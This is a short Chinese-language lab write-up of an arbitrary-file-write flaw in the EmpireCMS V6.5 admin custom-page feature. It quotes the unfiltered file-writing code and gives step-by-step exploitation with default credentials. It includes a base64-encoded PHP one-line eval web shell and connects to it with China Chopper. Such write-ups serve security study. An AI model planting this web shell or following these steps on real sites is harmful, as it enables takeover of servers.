漏洞描述
Empirecms V6.5后台自定义页面处通过任意文件写入可getshell
①任意文件写入漏洞的原理通过提交数据,可以将任意的文件写入到网站中。
②攻击者在获取到后台权限后,进行添加页面,添加成php页面,并且内容为一个PHP一句话木马,即可获得shell权限,威胁网站安全。
漏洞分析
//后台自定义斜页面写入文件的方法
WriteFiletext($path,$pagetext);
...
function WriteFiletext($filepath,$string)
{
global $public_r;
$string=stripSlashes($string);
$fp=@fopen($filepath,"w");
@fputs($fp,$string);
@fclose($fp);
if(empty($public_r[filechmod])){
@chmod($filepath,0777);
}
}
上面的代码中可以看出变量$pagetext
经过函数WriteFiletext
写入到了文件中,在写入的过程中没有进行严格的过滤就进行写入操作,导致可以任意文件写入,从而导致可以产生恶意的php页面,使得攻击者可以很简单的获取到shell权限。
漏洞利用
通过帝国cms默认后台路径找到后台登陆地址后台地址(http://ip/e/admin/
,可爆破出用户admin,密码admin123)
登录后台页面如下图
点击模块管理,然后点击自定义页面,再点击增加自定义页面,最后在页面名称和文件名处输入内容(如:123.php)页面内容输入:<script language="php">echo base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=");</script>
,然后点击提交。如下图:
在hackbar加载http://ip/e/admin/123.php,在post_data数据区输入cmd=phpinfo();
,点击execute触发漏洞,结果如图:
①查看phpinfo
②菜刀连上
GOT IT!
很简单的一次实验,主要是培养巩固思路
******************************************************
小实验小结,具体测试利用方式需根据具体实践场景~